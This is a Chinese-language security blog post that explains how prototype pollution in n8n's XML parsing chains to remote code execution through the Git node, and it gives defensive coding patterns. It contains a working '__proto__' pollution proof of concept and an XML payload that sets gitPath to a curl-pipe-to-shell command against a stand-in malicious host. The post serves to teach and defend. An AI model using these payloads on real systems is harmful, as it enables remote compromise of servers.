原型污染重装上阵:深入剖析 n8n 的五个 9.4 分 RCE 漏洞
如果你在构建 Node.js 应用程序,我需要你停下手中的一切,密切关注。2026 年 5 月 22 日,新加坡网络安全局 (CSA) 和全球安全研究小组向流行的开源工作流自动化平台 n8n 的用户发布了紧急公告。
n8n 紧急推出了安全补丁,解决了五个严重的漏洞,这些漏洞带有惊人的 CVSS v4.0 评分 9.4(包括 CVE-2026-42231、CVE-2026-42232 和 CVE-2026-44789)。这些安全漏洞集中在一个经典的、持续存在的且高度危险的 Node.js 漏洞向量上:原型污染 (Prototype Pollution)。当链接在一起时,攻击者可以触发远程代码执行 (RCE) 或在托管服务器上进行任意系统文件读取。
我花了一个上午剖析这些补丁。让我们揭开 JavaScript 原型污染机制的神秘面纱,重构 n8n 的 XML 解析器节点如何允许这种污染级联到系统级 RCE,并看看我推荐的编程模式,以消除您自己的 Node.js Web 应用程序中的这些向量。
理解原型污染
要了解 n8n 是如何成为受害者的,我们首先必须了解 JavaScript 原型继承的独特设计。
在 JavaScript 中,对象从原型对象继承属性和方法。如果创建一个简单的对象 const dev = { name: "Elvis" },它隐式地继承自 Object.prototype。
如果应用程序在没有严格的键验证的情况下,递归地将用户控制的 JSON 或 XML 负载合并或解析到对象中,攻击者可以传递包含特殊魔法键 __proto__ 的负载。
易受攻击的模式:
让我们看一个经典的易受攻击的对象合并实用程序:
// 一个经典递归合并,这是一场彻底的安全灾难
function insecureMerge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
insecureMerge(target[key], source[key]);
} else {
// 直接赋值允许 __proto__ 属性注入
target[key] = source[key];
}
}
return target;
}
// 作为 JSON 传递的攻击负载
const attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userSession = {};
insecureMerge(userSession, attackerPayload);
// 现在,在此 Node.js 进程中创建的每个对象都继承了 'isAdmin' 属性!
const normalUser = {};
console.log(normalUser.isAdmin); // 输出:true!(你的原型已被成功污染)
通过污染 Object.prototype,攻击者可以在整个运行时环境中全局注入属性。
重构 n8n RCE 链
n8n 漏洞套件强调了简单的原型污染如何被用来破坏完整的应用服务器。
[ 攻击者恶意 XML / JSON 负载 ]
│
▼
[ n8n Webhook / XML / HTTP 请求解析器 ]
(易受攻击的 xml2js 库解析了 __proto__)
│
▼
[ Object.prototype 被污染 ]
(全局运行时属性被操纵)
│
▼
[ n8n Git 节点执行 ]
(提取系统属性:例如,gitPath / shell 命令)
│
▼
[ 远程代码执行 (RCE) ]
(恶意 shell 命令在主机上运行)
通过 xml2js 注入 (CVE-2026-42231)
问题的根源在于 n8n 的 Webhook、XML 和 HTTP Request 节点中使用的解析库。具体来说,XML 解析器节点使用流行的 xml2js 解析器处理 XML 负载。
由于未能过滤 constructor 和 prototype 等特殊键,攻击者可以传输构造的 XML 负载来污染进程的基础原型:
<!-- 通过 XML 的概念原型污染负载 -->
<root>
<constructor>
<prototype>
<gitPath>/bin/sh -c "curl http://malicious.site/shell.sh | sh"</gitPath>
</prototype>
</constructor>
</root>
Git 节点中的 RCE 链 (CVE-2026-44790)
这里就是链条变得致命的地方。n8n 具有一个 Git 节点,允许工作流克隆、提交和推送配置。执行 Git 节点时,它会引用内部路径实用程序来查找本地系统的 git 可执行文件:
// 在易受攻击的工作流执行逻辑内部
const execPath = options.gitPath || 'git'; // 如果 options.gitPath 未定义,它会检查原型
child_process.exec(`${execPath} status`, ...);
在正常情况下,options.gitPath 是未定义的,因此系统默认为安全的 'git' 二进制文件。然而,因为攻击者通过 XML 节点漏洞成功污染了 Object.prototype.gitPath,检查 options.gitPath 返回了注入的恶意 shell 命令!
当 Git 节点运行 exec() 时,它执行了 shell 脚本,授予攻击者对 n8n 主机系统的完全远程 shell 控制权。
阻止魔法键
如果您正在开发 Node.js 或 JavaScript 后端 API,有三种主要的设计模式可以永久消除原型污染。
1. 在解析器中拒绝键名
在编写自定义合并、复制或解析函数时,明确拒绝引用原型属性的键:
// 显式阻止列表以阻止 __proto__ 注入
const BLACKLIST = ['__proto__', 'constructor', 'prototype'];
function secureMerge(target, source) {
for (let key in source) {
if (BLACKLIST.includes(key)) continue; // 默默丢弃恶意键
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
secureMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
2. 创建没有原型的对象
创建键值查找表或配置存储时,实例化没有标准原型链的对象。使用 Object.create(null) 创建一个不继承自 Object.prototype 的字典,使其免受全局污染查找:
// 一个完全空白的字典,没有要污染的原型属性
const dict = Object.create(null);
console.log(dict.toString); // undefined
专家提示:在生产环境中冻结原型
作为终极故障保护,您可以在应用程序的入口点冻结全局
Object.prototype。这可以防止在初始化后对核心原型进行任何修改:
// 冻结基线 Object 以中和所有原型污染尝试
Object.freeze(Object.prototype);
结论
JavaScript 的灵活性是其最大的优势,但如果你盲目信任传入的 JSON/XML,原型继承就是一个经典的“搬起石头砸自己的脚”。清理您的解析树,使用 Object.create(null),在生产环境中冻结您的全局原型,并立即更新您的 n8n 实例。
参考与官方来源
- 新加坡 CSA 警告:针对新加坡企业 IT 团队关于 n8n RCE 的高风险公告。 csa.gov.sg/alerts-advisories/n8n-rce-vulnerabilities
- n8n 安全公告 (GitHub GHSA):有关 CVE-2026-42231 和相关错误的详细信息和版本补丁。 github.com/n8n-io/n8n/security/advisories
- GBHackers CyberSecurity:针对 n8n 中 CVSS 9.4 原型污染的漏洞利用链和概念验证分析。 gbhackers.com/n8n-rce-vulnerability

